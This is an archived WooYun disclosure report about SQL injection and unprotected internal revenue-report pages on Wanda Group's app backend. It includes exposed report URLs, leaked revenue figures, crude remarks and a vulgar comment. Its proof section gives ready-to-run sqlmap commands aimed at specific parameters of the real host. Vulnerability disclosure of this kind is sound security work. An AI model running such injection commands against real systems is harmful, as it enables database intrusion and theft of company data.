当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-095535

漏洞标题：万达集团官网APP云端漫游之sql注入敏感信息泄露

相关厂商：大连万达集团股份有限公司

漏洞作者： zzR

提交时间：2015-02-04 08:56

修复时间：2015-03-21 08:58

公开时间：2015-03-21 08:58

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-02-04： 细节已通知厂商并且等待厂商处理中
2015-02-04： 厂商已经确认，细节仅向厂商公开
2015-02-14： 细节向核心白帽子及相关领域专家公开
2015-02-24： 细节向普通白帽子公开
2015-03-06： 细节向实习白帽子公开
2015-03-21： 细节向公众公开

简要描述：

**某调查显示**：
Mobile app最大的漏洞比例来源于服务端,而非mobile app本身的代码漏洞,比例大约为30%
第2，隐私暴力获取 22%
第3，输入漏洞（数据传输和存储）20%
第4, session 管理 15%
第5，权限不当 13%
---------------------------------------------------------------------------------------
万达集团官网APP云端游来游去，SQL注入、信息泄露涉及集团主要产品。
电影（收入**9万元，你以为是什么，这是卖爆米花一天的收入！）+实时票房、会员
酒店（收入 **,596 万元，你以为是多长时间，一个月！）
KTV（收入 **8.52万元，你以为是多长时间，一天！）
旅游（营业额**1,236万，你以为是多长时间，还是一个月！）
多维度报表，还是好多的都没达标啊！
总结下来还是一句：老公好有钱！！！！！！*我！
---------------------------------------------------------------------------------------

详细说明：

ios app：万达集团
version：v2.2
在前面的几个漏洞里，根据目录http://app.wanda.cn/之前的几个sql注入漏洞都已然修复的差不多了，但是今天再次看看这么个云端平台，感觉他还是很有文章，再次抄起dirbuster，再次游来游去。
app报表泄露，信息泄露涉及集团主要产品
万达电影：
http://app.wanda.cn/APPREP/film
万达大歌星
http://app.wanda.cn/ktvreport/dageApp_dev.html
万达酒店
http://app.wanda.cn/AppReports/hotel
万达旅游
http://app.wanda.cn/APPREP/tourism

漏洞证明：

真的是卖爆米花卖这么多哪

19.png


18.png


17.png


电影（收入629万元，你以为是什么，这是卖爆米花一天的收入！）
酒店（收入 47,596 万元，你以为是多长时间，一个月！）
KTV（收入 828.52万元，你以为是多长时间，一天！）
旅游（营业额751,236万，你以为是多长时间，还是一个月！）
多维度报表，还是好多的都没达标啊！


sql注入给出来

sqlmap.py -u "http://app.wanda.cn/APPREP/tourYeardetailsAction?dimension=2" --current-user --current-db --tamper=between --dbms=mysql


sqlmap.py -u "http://app.wanda.cn/AppReports/hoteldetailsservlet.do?
categorykey=17&hoteltypekey=2&type=0&liorshou=1" --random-agent --current-user --current-db --is dba --dbs --tamper=between --dbms=mysql


1.png


2.png


先来这么多吧！

修复方案：

1*这些数据太刺激了，不想看行不行
2*你们弄吧，或者让老公来

版权声明：转载请注明来源 zzR@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2015-02-04 13:59

厂商回复：

感谢zzR同学的关注与贡献！马上通知业务整改！

最新状态：

暂无

漏洞评价：

评论

  1. 2015-04-15 17:16 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    老公操我